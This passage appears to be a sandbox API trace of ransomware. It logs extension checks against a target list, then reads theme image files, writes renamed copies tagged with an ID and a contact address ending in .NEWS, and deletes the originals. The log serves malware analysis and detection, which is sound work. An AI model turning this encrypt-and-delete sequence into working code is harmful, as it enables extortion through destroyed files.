lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.210] lstrlenW (lpString=".doc") returned 4 [0071.210] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.210] lstrlenW (lpString=".docx") returned 5 [0071.210] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.210] lstrlenW (lpString=".pdf") returned 4 [0071.211] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.211] lstrlenW (lpString=".xls") returned 4 [0071.211] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.211] lstrlenW (lpString=".xlsx") returned 5 [0071.211] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.211] lstrlenW (lpString=".ppt") returned 4 [0071.211] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.211] lstrlenW (lpString=".zip") returned 4 [0071.211] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.211] lstrlenW (lpString=".rar") returned 4 [0071.211] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.211] lstrlenW (lpString=".bz2") returned 4 [0071.211] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.211] lstrlenW (lpString=".7z") returned 3 [0071.211] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.211] lstrlenW (lpString=".dbf") returned 4 [0071.211] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.211] lstrlenW (lpString=".1cd") returned 4 [0071.211] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0071.212] lstrlenW (lpString=".jpg") returned 4 [0071.212] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.212] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0071.212] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0071.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.213] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=26402) returned 1 [0071.213] CloseHandle (hObject=0x1ec) returned 1 [0071.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0071.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.213] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.213] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0071.214] GetLastError () returned 0x0 [0071.214] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x6722, lpOverlapped=0x0) returned 1 [0071.217] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x6730, lpOverlapped=0x0) returned 1 [0071.220] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.220] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0071.220] SetEndOfFile (hFile=0x1e4) returned 1 [0071.220] CloseHandle (hObject=0x1e4) returned 1 [0071.220] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.220] SetEndOfFile (hFile=0x1ec) returned 1 [0071.222] CloseHandle (hObject=0x1ec) returned 1 [0071.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.222] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0071.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.223] lstrlenW (lpString=".doc") returned 4 [0071.223] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.223] lstrlenW (lpString=".docx") returned 5 [0071.223] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.223] lstrlenW (lpString=".pdf") returned 4 [0071.223] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.223] lstrlenW (lpString=".xls") returned 4 [0071.223] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.223] lstrlenW (lpString=".xlsx") returned 5 [0071.223] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.224] lstrlenW (lpString=".ppt") returned 4 [0071.224] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.224] lstrlenW (lpString=".zip") returned 4 [0071.224] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.224] lstrlenW (lpString=".rar") returned 4 [0071.224] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.224] lstrlenW (lpString=".bz2") returned 4 [0071.224] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.224] lstrlenW (lpString=".7z") returned 3 [0071.224] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.224] lstrlenW (lpString=".dbf") returned 4 [0071.224] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.224] lstrlenW (lpString=".1cd") returned 4 [0071.224] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.224] lstrlenW (lpString=".jpg") returned 4 [0071.224] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.225] lstrlenW (lpString=".doc") returned 4 [0071.225] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0071.225] lstrlenW (lpString=".docx") returned 5 [0071.225] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0071.225] lstrlenW (lpString=".pdf") returned 4 [0071.225] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0071.225] lstrlenW (lpString=".xls") returned 4 [0071.225] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0071.225] lstrlenW (lpString=".xlsx") returned 5 [0071.225] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0071.225] lstrlenW (lpString=".ppt") returned 4 [0071.225] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0071.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.225] lstrlenW (lpString=".zip") returned 4 [0071.225] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0071.225] lstrlenW (lpString=".rar") returned 4 [0071.225] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0071.225] lstrlenW (lpString=".bz2") returned 4 [0071.225] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0071.225] lstrlenW (lpString=".7z") returned 3 [0071.225] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0071.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.225] lstrlenW (lpString=".dbf") returned 4 [0071.225] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0071.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.226] lstrlenW (lpString=".1cd") returned 4 [0071.226] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0071.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0071.226] lstrlenW (lpString=".jpg") returned 4 [0071.226] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0071.226] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0071.226] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0071.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.227] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1354) returned 1 [0071.227] CloseHandle (hObject=0x1ec) returned 1 [0071.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0071.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.227] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.227] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0071.730] GetLastError () returned 0x0 [0071.730] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x54a, lpOverlapped=0x0) returned 1 [0071.733] WriteFile (in: hFile=0x1cc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x550, lpOverlapped=0x0) returned 1 [0071.737] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.737] WriteFile (in: hFile=0x1cc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xea, lpOverlapped=0x0) returned 1 [0071.737] SetEndOfFile (hFile=0x1cc) returned 1 [0071.738] CloseHandle (hObject=0x1cc) returned 1 [0071.738] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.738] SetEndOfFile (hFile=0x1ec) returned 1 [0071.739] CloseHandle (hObject=0x1ec) returned 1 [0071.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.740] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0071.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.740] lstrlenW (lpString=".doc") returned 4 [0071.740] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.740] lstrlenW (lpString=".docx") returned 5 [0071.741] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.741] lstrlenW (lpString=".pdf") returned 4 [0071.741] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.741] lstrlenW (lpString=".xls") returned 4 [0071.741] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.741] lstrlenW (lpString=".xlsx") returned 5 [0071.741] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.741] lstrlenW (lpString=".ppt") returned 4 [0071.741] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.741] lstrlenW (lpString=".zip") returned 4 [0071.741] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.741] lstrlenW (lpString=".rar") returned 4 [0071.741] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.741] lstrlenW (lpString=".bz2") returned 4 [0071.741] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.741] lstrlenW (lpString=".7z") returned 3 [0071.741] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.741] lstrlenW (lpString=".dbf") returned 4 [0071.741] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.742] lstrlenW (lpString=".1cd") returned 4 [0071.742] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.742] lstrlenW (lpString=".jpg") returned 4 [0071.742] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.742] lstrlenW (lpString=".doc") returned 4 [0071.742] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.742] lstrlenW (lpString=".docx") returned 5 [0071.742] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.742] lstrlenW (lpString=".pdf") returned 4 [0071.742] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.742] lstrlenW (lpString=".xls") returned 4 [0071.742] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.742] lstrlenW (lpString=".xlsx") returned 5 [0071.742] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.742] lstrlenW (lpString=".ppt") returned 4 [0071.743] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.743] lstrlenW (lpString=".zip") returned 4 [0071.743] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.743] lstrlenW (lpString=".rar") returned 4 [0071.743] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.743] lstrlenW (lpString=".bz2") returned 4 [0071.743] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.743] lstrlenW (lpString=".7z") returned 3 [0071.743] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.743] lstrlenW (lpString=".dbf") returned 4 [0071.743] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.744] lstrlenW (lpString=".1cd") returned 4 [0071.744] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0071.744] lstrlenW (lpString=".jpg") returned 4 [0071.744] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.744] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0071.744] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0071.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.745] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=2552) returned 1 [0071.745] CloseHandle (hObject=0x1ec) returned 1 [0071.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0071.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0071.745] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.745] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0071.748] GetLastError () returned 0x0 [0071.748] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0071.752] WriteFile (in: hFile=0x1cc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0071.754] ReadFile (in: hFile=0x1ec, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.754] WriteFile (in: hFile=0x1cc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xea, lpOverlapped=0x0) returned 1 [0071.754] SetEndOfFile (hFile=0x1cc) returned 1 [0071.755] CloseHandle (hObject=0x1cc) returned 1 [0071.755] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.755] SetEndOfFile (hFile=0x1ec) returned 1 [0071.756] CloseHandle (hObject=0x1ec) returned 1 [0071.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.757] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0071.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.757] lstrlenW (lpString=".doc") returned 4 [0071.757] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.758] lstrlenW (lpString=".docx") returned 5 [0071.758] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.758] lstrlenW (lpString=".pdf") returned 4 [0071.758] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.758] lstrlenW (lpString=".xls") returned 4 [0071.758] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.758] lstrlenW (lpString=".xlsx") returned 5 [0071.758] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.758] lstrlenW (lpString=".ppt") returned 4 [0071.758] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.758] lstrlenW (lpString=".zip") returned 4 [0071.758] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.758] lstrlenW (lpString=".rar") returned 4 [0071.758] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.758] lstrlenW (lpString=".bz2") returned 4 [0071.758] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.758] lstrlenW (lpString=".7z") returned 3 [0071.758] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.759] lstrlenW (lpString=".dbf") returned 4 [0071.759] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.759] lstrlenW (lpString=".1cd") returned 4 [0071.759] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0071.759] lstrlenW (lpString=".jpg") returned 4 